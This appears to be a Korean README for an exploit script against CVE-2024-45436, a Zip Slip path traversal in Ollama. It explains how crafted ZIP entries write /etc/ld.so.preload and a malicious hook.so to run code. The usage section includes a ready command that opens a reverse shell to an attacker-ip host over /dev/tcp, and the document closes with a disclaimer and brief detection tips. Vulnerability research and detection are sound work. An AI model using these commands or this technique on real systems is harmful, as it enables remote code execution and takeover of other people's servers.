
CVE-2024-45436용 익스플로잇 스크립트
Ollama ZIP 경로 탐색 취약점(CVE-2024-45436)을 위한 깔끔하고 효율적인 익스플로잇 구현체입니다. 중국어 문서: README_CN.md
CVE-2024-45436은 0.1.47 이전 버전의 Ollama에 존재하는 경로 탐색 취약점("Zip Slip"이라고도 함)입니다. 이 취약점은 ZIP 파일 추출 작업 중 경로 검증이 부적절하게 이루어지는 점을 악용하여 공격자가 파일 시스템의 임의 위치에 파일을 쓸 수 있게 합니다.
이 결함은 모델 파일을 추출하는 Ollama의 model.go 파일에 있는 extractFromZipFile 함수에 존재합니다. ZIP 파일에 디렉터리 탐색 시퀀스(../)가 포함된 경로 항목이 있으면 Ollama는 의도된 디렉터리 밖으로 해당 파일을 추출하여, 공격자가 중요한 시스템 파일을 덮어쓸 수 있게 됩니다.
이 익스플로잇은 다음 방식으로 취약점을 활용합니다:
hook.so)을 생성합니다../../../../../../../../../../etc/ld.so.preload - 사용자 정의 공유 오브젝트를 사전 로드하는 데 사용됨../../../../../../../../../../tmp/hook.so - 악성 공유 오브젝트 자체성공적으로 실행되면 페이로드는 Ollama 서비스와 동일한 권한으로 실행되며, 잠재적으로 루트 권한의 원격 코드 실행을 가능하게 합니다.
python exp.py <target_url> <command>
target_url: 취약한 Ollama 인스턴스의 URL (예: http://example.com:11434)command: 대상 시스템에서 실행할 명령--no-cleanup: 익스플로잇 후 임시 파일을 제거하지 않습니다 (디버깅에 유용)기본 사용법:
python exp.py http://target-server:11434 "id > /tmp/pwned"
리버스 셸:
python exp.py http://target-server:11434 "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 명시적 허가 없이 시스템에 대해 무단 사용하는 것은 불법이며 비윤리적입니다. 작성자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다.
조직은 다음 방법으로 취약 여부를 탐지할 수 있습니다:
/api/version으로 Ollama 버전 확인/etc/ld.so.preload 또는 /tmp/hook.so에서 예상치 못한 파일 확인이 취약점은 Ollama의 ZIP 파일 추출 과정에서 부적절한 경로 검증을 악용합니다. API를 통해 모델이 로드되면 애플리케이션은 파일 경로를 제대로 검증하지 않고 ZIP 아카이브에서 파일을 추출하므로 디렉터리 탐색 공격이 가능해집니다.
ld.so.preload 파일은 Linux에서 다른 모든 라이브러리보다 먼저 로드되어야 하는 공유 라이브러리를 지정하는 데 사용됩니다. 공격자는 이 파일에 기록함으로써 악성 라이브러리가 새로운 모든 프로세스에 로드되도록 보장하여 사실상 프로그램 실행을 가로챌 수 있습니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.